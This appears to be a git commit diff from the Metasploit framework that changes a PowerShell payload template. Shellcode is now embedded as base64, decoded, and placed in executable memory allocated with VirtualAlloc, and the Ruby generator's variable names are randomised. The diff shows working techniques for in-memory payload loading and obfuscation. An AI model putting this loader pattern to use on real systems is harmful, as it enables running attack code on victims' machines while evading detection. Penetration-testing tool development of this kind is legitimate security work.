Use base64 to reduce size
parent
7d788fbf76
commit
e18dd3ec0b
|
@ -20,7 +20,7 @@ $%{var_compileParams}.ReferencedAssemblies.AddRange(@("System.dll", [PsObject].A
|
||||||
$%{var_compileParams}.GenerateInMemory = $True
|
$%{var_compileParams}.GenerateInMemory = $True
|
||||||
$%{var_output} = $%{var_codeProvider}.CompileAssemblyFromSource($%{var_compileParams}, $%{var_syscode})
|
$%{var_output} = $%{var_codeProvider}.CompileAssemblyFromSource($%{var_compileParams}, $%{var_syscode})
|
||||||
|
|
||||||
%{shellcode}
|
[Byte[]]$%{var_code} = [System.Convert]::FromBase64String("%{b64shellcode}")
|
||||||
|
|
||||||
$%{var_baseaddr} = [%{var_kernel32}.func]::VirtualAlloc(0, $%{var_code}.Length + 1, [%{var_kernel32}.func+AllocationType]::Reserve -bOr [%{var_kernel32}.func+AllocationType]::Commit, [%{var_kernel32}.func+MemoryProtection]::ExecuteReadWrite)
|
$%{var_baseaddr} = [%{var_kernel32}.func]::VirtualAlloc(0, $%{var_code}.Length + 1, [%{var_kernel32}.func+AllocationType]::Reserve -bOr [%{var_kernel32}.func+AllocationType]::Commit, [%{var_kernel32}.func+MemoryProtection]::ExecuteReadWrite)
|
||||||
if ([Bool]!$%{var_baseaddr}) { $global:result = 3; return }
|
if ([Bool]!$%{var_baseaddr}) { $global:result = 3; return }
|
||||||
|
|
|
@ -910,7 +910,7 @@ def self.to_vba(framework,code,opts={})
|
||||||
hash_sub[:var_compileParams] = Rex::Text.rand_text_alpha(rand(8)+8)
|
hash_sub[:var_compileParams] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||||
hash_sub[:var_syscode] = Rex::Text.rand_text_alpha(rand(8)+8)
|
hash_sub[:var_syscode] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||||
|
|
||||||
hash_sub[:shellcode] = Rex::Text.to_powershell(code, hash_sub[:var_code])
|
hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)
|
||||||
|
|
||||||
return read_replace_script_template("to_mem_dotnet.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
|
return read_replace_script_template("to_mem_dotnet.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue